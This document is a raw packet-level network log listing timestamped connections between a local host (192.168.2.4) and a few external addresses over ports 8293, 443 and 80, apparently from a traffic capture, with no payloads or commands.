Dec 27, 2024 14:42:45.392746925 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:45.395550966 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:45.515058041 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:45.531675100 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:45.651221991 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:45.651319981 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:45.770831108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:45.770905018 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:45.890490055 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:45.890605927 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:45.995945930 CET	80	49747	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:45.999562979 CET	49747	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:46.010090113 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.011428118 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.067079067 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:46.067135096 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:46.067210913 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:46.082957029 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:46.082999945 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:46.130963087 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.131867886 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.251765013 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.273350000 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.392829895 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.408983946 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.414978027 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.471456051 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.571669102 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.575560093 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.695058107 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.695568085 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.756685972 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:46.756741047 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:46.756889105 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:46.768840075 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:46.768851995 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:46.815166950 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.815254927 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:46.934741974 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:46.934900999 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.054511070 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.054614067 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.174276114 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.174335003 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.294003963 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.294092894 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.413650990 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.413765907 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.438611984 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:47.438684940 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:47.533529997 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.533612013 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.621854067 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:47.621886969 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:47.622216940 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:47.622275114 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:47.630985975 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:47.653278112 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.653377056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.671334028 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:47.773092031 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.773139954 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:47.892664909 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:47.892728090 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.012348890 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.015209913 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.085460901 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.085549116 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.134737015 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.149390936 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.236520052 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.236547947 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.236767054 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.236823082 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.238528967 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.266072989 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:48.266164064 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:48.266165018 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:48.266227961 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:48.268842936 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.268894911 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.268954992 CET	49749	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:48.268966913 CET	443	49749	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:48.279372931 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.388400078 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.402818918 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.522382021 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.542534113 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.584026098 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.584084034 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.584086895 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.584120035 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.584132910 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.584153891 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.584158897 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.584170103 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.584192991 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.584218025 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.584259987 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.584295034 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.584301949 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.584336042 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.592423916 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.592463017 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.592528105 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.592566967 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.600918055 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.600960970 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.609133959 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.609203100 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.662136078 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.680546999 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.703680038 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.703727007 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.703763008 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.703803062 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.794652939 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.794694901 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.798413038 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.798450947 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.798477888 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.798513889 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.800206900 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.804753065 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.804789066 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.804802895 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.804832935 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.809632063 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:48.812906981 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.812941074 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.820722103 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.820759058 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.820882082 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.820919037 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.828794956 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.828845024 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.828865051 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.828901052 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.836743116 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.836786032 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.836966038 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.837009907 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.837021112 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.837063074 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.844759941 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.844805002 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.851154089 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.851201057 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.851250887 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.851284027 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.857666016 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.857705116 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.857777119 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.857810020 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.864074945 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.864116907 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.864180088 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.864217997 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.870543957 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.870594025 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.877042055 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.877089024 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.877216101 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:48.877255917 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:48.929085970 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:48.942131996 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:49.005237103 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.005281925 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.007304907 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.007339954 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.007422924 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.007463932 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.012032986 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.012101889 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.012118101 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.012159109 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.016627073 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.016685963 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.026151896 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.026206017 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.030781984 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.030852079 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.035444021 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.035512924 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.044770956 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.044826031 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.053982019 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.054037094 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.061631918 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:49.061803102 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:49.063322067 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.063370943 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.068129063 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.068180084 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.077317953 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.077364922 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.086668968 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.086729050 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.091444969 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.091515064 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.100712061 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.100785971 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.105488062 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.105559111 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.181291103 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:49.188455105 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:49.215600014 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.215662003 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.220922947 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.220984936 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.228061914 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.228120089 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.231448889 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.231504917 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.231511116 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.231544971 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.307961941 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:49.550396919 CET	49750	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:49.550422907 CET	443	49750	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:49.553433895 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:49.672960997 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:49.802596092 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:49.922410965 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:49.928958893 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.048671007 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.048715115 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.168334007 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.188481092 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.308054924 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.309735060 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.429371119 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.429451942 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.548933029 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.563783884 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.683240891 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.738506079 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.858095884 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.869748116 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:50.989670038 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:50.989727020 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:51.060537100 CET	49751	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:51.109545946 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:51.109585047 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:51.182473898 CET	80	49751	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:51.182558060 CET	49751	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:51.193537951 CET	49751	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:51.233594894 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:51.264877081 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:51.319902897 CET	80	49751	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:51.384828091 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:51.396197081 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:51.515789986 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:51.522141933 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:51.641666889 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:51.653698921 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:51.773181915 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:51.796065092 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:51.915636063 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:51.960151911 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:52.079713106 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:52.186599016 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:52.306199074 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:52.336080074 CET	80	49751	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:52.337630987 CET	49751	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:52.501900911 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:52.621510983 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:52.687124968 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:52.806725979 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:52.847805023 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:52.967981100 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:52.993887901 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:52.993941069 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:52.994009018 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:52.999420881 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:53.119055033 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:53.164865971 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:53.284400940 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:53.345201969 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:53.464807987 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:53.468740940 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:53.588536978 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:53.593122005 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:53.593133926 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:53.601061106 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:53.720892906 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:53.745232105 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:53.755431890 CET	49747	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:53.864716053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:53.942692041 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:54.064224958 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:54.090245962 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:54.266357899 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:54.266469955 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:54.385979891 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:54.388098001 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:54.507653952 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:54.590099096 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:54.709868908 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:54.762551069 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:54.882330894 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:54.900930882 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:54.901019096 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:54.992208958 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:55.111917019 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:55.354115963 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:55.473603010 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:55.497956038 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:55.505990028 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:55.506006002 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:55.506545067 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:55.506638050 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:55.544558048 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:55.587336063 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:55.618283033 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:55.637855053 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:55.757544994 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:55.798127890 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:55.917681932 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:55.980041027 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:56.099634886 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:56.175192118 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:56.175270081 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:56.175283909 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:56.175323963 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:56.175359011 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:56.175369978 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:56.227360010 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:56.241204023 CET	49754	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:56.241220951 CET	443	49754	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:56.346987963 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:56.475817919 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:56.595448971 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:56.717957973 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:56.837517023 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:57.213978052 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:57.333542109 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:57.667691946 CET	49748	8293	192.168.2.4	89.23.100.42
